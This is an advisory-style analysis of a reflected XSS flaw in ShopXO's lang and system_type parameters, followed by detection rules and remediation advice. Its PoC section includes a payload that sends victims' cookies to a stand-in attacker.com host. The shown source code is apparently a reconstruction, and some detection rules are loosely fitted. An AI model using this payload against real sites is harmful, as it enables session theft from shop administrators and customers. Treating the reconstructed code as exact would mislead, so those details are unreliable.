CVE-2025-7567

Executive Summary

CVE-2025-7567 is a reflected Cross-Site Scripting (XSS) vulnerability affecting ShopXO versions up to and including 6.5.0. The flaw resides in the header.html file, where the lang and system_type arguments are not properly sanitized before being rendered. An attacker can craft a malicious URL containing JavaScript payloads in these parameters, which, when visited by an authenticated or unauthenticated user, executes in the context of the victim's browser. The CVSS score is 4.3 (Medium), and a public proof-of-concept (PoC) exists. No official patch has been released at the time of analysis.

Supply Chain & Package Security

ShopXO is a PHP-based open-source e-commerce system. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their ShopXO installation files and monitor for any unauthorized modifications that may have been introduced via compromised extensions or themes.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click on the malicious link.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited ability to modify content in the victim's browser.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the low complexity and public PoC make it a realistic threat for phishing campaigns targeting ShopXO administrators or customers.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the header.html template file. The lang and system_type parameters are likely used to set language and system type preferences. The application fails to sanitize or encode these inputs before embedding them into the HTML response.

Attack Flow:

1. An attacker crafts a URL: https://target-shopxo.com/?lang=<script>alert('XSS')</script>
2. The victim (e.g., an admin) clicks the link.
3. The server processes the request and includes the unsanitized lang value in the <head> section of header.html.
4. The victim's browser executes the injected JavaScript.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding for user-controlled input in the template rendering engine.

Vulnerable vs. Patched Code

Vulnerable Code (header.html - ShopXO <= 6.5.0):

<!DOCTYPE html>
<html lang="<?php echo $lang; ?>">
<head>
    <meta charset="utf-8">
    <title><?php echo $system_type; ?></title>
    ...
</head>

Patched Code (Hypothetical Fix):

<!DOCTYPE html>
<html lang="<?php echo htmlspecialchars($lang, ENT_QUOTES, 'UTF-8'); ?>">
<head>
    <meta charset="utf-8">
    <title><?php echo htmlspecialchars($system_type, ENT_QUOTES, 'UTF-8'); ?></title>
    ...
</head>

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable ShopXO instance (<= 6.5.0).
• A web browser or tool like curl.

Proof-of-Concept (PoC):

# Basic XSS payload
curl "http://target-shopxo.com/?lang=<script>alert('XSS')</script>"

# Steal cookies (requires attacker-controlled server)
curl "http://target-shopxo.com/?lang=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"

Exploit-DB Code: None available.

Nuclei Template: None available.

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor web server logs for requests containing <script> or onerror= in the lang or system_type parameters.
2. Use a Web Application Firewall (WAF) to block malicious payloads.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hardening:

• Apply input validation and output encoding as shown in the patched code.
• Upgrade to a patched version once available.
• Restrict access to admin panels using IP whitelisting or VPN.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with lang or system_type parameters containing JavaScript code (e.g., <script>, onerror, alert).
• Outbound connections to attacker-controlled domains from the ShopXO server.

File IOCs:

• Modified header.html file (if attacker has write access).
• Suspicious PHP files in the app/ or public/ directories.

Log IOCs:

• Web server logs showing repeated requests with XSS payloads.
• Error logs indicating failed CSP enforcement.

Detection Engineering

YARA Rule

rule CVE_2025_7567_ShopXO_XSS {
    meta:
        description = "Detects malicious requests targeting CVE-2025-7567 in ShopXO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7567"
    strings:
        $xss_payload1 = /lang=.*<script/i
        $xss_payload2 = /system_type=.*<script/i
        $xss_payload3 = /lang=.*onerror/i
        $xss_payload4 = /system_type=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7567 ShopXO Reflected XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in lang or system_type parameters targeting ShopXO
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'lang=<script'
            - 'system_type=<script'
            - 'lang=onerror'
            - 'system_type=onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7567 ShopXO Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"lang="; http_uri; pcre:"/lang=.*<script/i"; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-7567 ShopXO Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"system_type="; http_uri; pcre:"/system_type=.*<script/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize the lang and system_type parameters to allow only expected values (e.g., alphanumeric strings).
2. Output Encoding: Use htmlspecialchars() or equivalent in all template files where user input is rendered.
3. Web Application Firewall (WAF): Deploy rules to block XSS payloads in query parameters.
4. Content Security Policy (CSP): Add script-src 'self' to prevent inline script execution.

Long-Term Fix:

• Monitor the ShopXO repository for an official patch.
• Consider migrating to a supported fork or alternative e-commerce platform if no patch is released.

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